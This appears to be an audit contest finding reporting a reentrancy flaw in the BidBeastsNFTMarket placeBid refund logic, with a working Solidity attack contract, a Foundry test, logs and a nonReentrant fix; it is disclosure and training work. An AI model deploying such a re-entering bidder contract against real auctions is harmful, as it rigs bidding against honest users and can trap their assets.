Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in `BidBeastsNFTMarket::placeBid` enables previous bidder to auto-outbid during same transaction

Root + Impact

Description

  • The BidBeastsNFTMarket::placeBid function lets users place bids on BidBeasts NFTs and refunds users that gets outbid.

  • Since the placeBidfunction does not have reentrancy guard it enables an attacker to reenter when a user outbids the attacker contract. This is possible because the function refunds the prevous bidder using a raw call{value: ...}("")without nonReentent.

function placeBid(uint256 tokenId) external payable isListed(tokenId) {
// code as is
if (previousBidder != address(0)) {
_payout(previousBidder, previousBidAmount);
}
// code as is
}
function _payout(address recipient, uint256 amount) internal {
if (amount == 0) return;
@> (bool success,) = payable(recipient).call{value: amount}("");
if (!success) {
failedTransferCredits[recipient] += amount;
}
}

Risk

Likelihood:

  • Attacker only needs to deploy a simple contract with a receivefunction that calls placeBid.

  • Once an attacker is previous bidder, they can repeatedly reenter to remain the highest or greif many auctions.

  • Can be executed in Foundry/Hardhat scripts by any attacker.

  • The marketplace routinely accepts contract bidders, so the refund callback surface is realistic.

Impact:

  • A malicous bidder can always (or until the buy now price is met) reclaim the highest bid position within the same transaction, discouraging honest bidders and undermining auction fairness.

  • Attacker can repeatedly reenter to extend auction deadline, waste gas for honest participants, or lock asset in prolonged auctions.

  • By controlling the bidding sequence , attacker can suppress genuine competion and potentially acquire NFTs at artificially low prices.

Proof of Concept

Flow:

  1. Attacker deploys a contract with a receivefunction that calls placeBid.

  2. Attacker makes a bid with the deployed contract.

  3. An honest bidder outbids the first bid.

  4. When placeBidfunction refunds the malicious contract it reenters and makes a higher bid.

Add this contract to the test suite:

contract ReentrancyAttack {
BidBeastsNFTMarket public market;
uint256 public tokenId = 0;
uint256 MIN_BID_INCREMENT_PERCENTAGE = 5;
uint256 bidAmount = 2 ether;
constructor(address marketAddress) {
market = BidBeastsNFTMarket(marketAddress);
}
function placeBid() public payable {
market.placeBid{value: bidAmount}(tokenId);
}
receive() external payable {
uint256 highestBid = market.getHighestBid(tokenId).amount;
uint256 nextBid = highestBid + (highestBid * MIN_BID_INCREMENT_PERCENTAGE) / 100;
market.placeBid{value: nextBid}(tokenId);
}
}

Add this test to the test suite:

function test_reentrancyAttackOnPlaceBid() public {
// Mint and list an NFT
_mintNFT();
_listNFT();
// Deploy the reentrancy attack contract
ReentrancyAttack reentrancyContract = new ReentrancyAttack(address(market));
// Fund the reentrancy contract
vm.deal(address(reentrancyContract), 100 ether);
// Start the attack by placing the first bid of 2 ether from the reentrancy contract
reentrancyContract.placeBid();
// A bidder bids 3 ether
vm.prank(BIDDER_1);
market.placeBid{value: 3 ether}(TOKEN_ID);
// Check the highest bid and bidder after the attack
uint256 highestBid = market.getHighestBid(TOKEN_ID).amount;
address highestBidder = market.getHighestBid(TOKEN_ID).bidder;
console.log("Highest bid after attack:", highestBid);
console.log("Highest bidder after attack:", highestBidder);
// The address with the highest bid should be the reentrancy contract
assertEq(highestBidder, address(reentrancyContract));
}

The test asserts that the highest bidder is the malicous contract, outbidding BIDDER_1:

Logs:
Highest bid after attack: 3150000000000000000
Highest bidder after attack: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

Recommended Mitigation

Import ReentrancyGuardfrom openzeppelin and add the nonReentrantmodifier to placeBidfunction:

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; // Reentrancy protection
- contract BidBeastsNFTMarket is Ownable(msg.sender) {
+ contract BidBeastsNFTMarket is Ownable(msg.sender), ReentrancyGuard {
// code as is
- function placeBid(uint256 tokenId) external payable isListed(tokenId) {
+ function placeBid(uint256 tokenId) external payable isListed(tokenId) nonReentrant {
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Reentrancy In PlaceBid

BidBeast Marketplace has a Medium-severity reentrancy vulnerability in its "buy-now" feature that allows an attacker to disrupt the platform by blocking sales or inflating gas fees for legitimate users.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.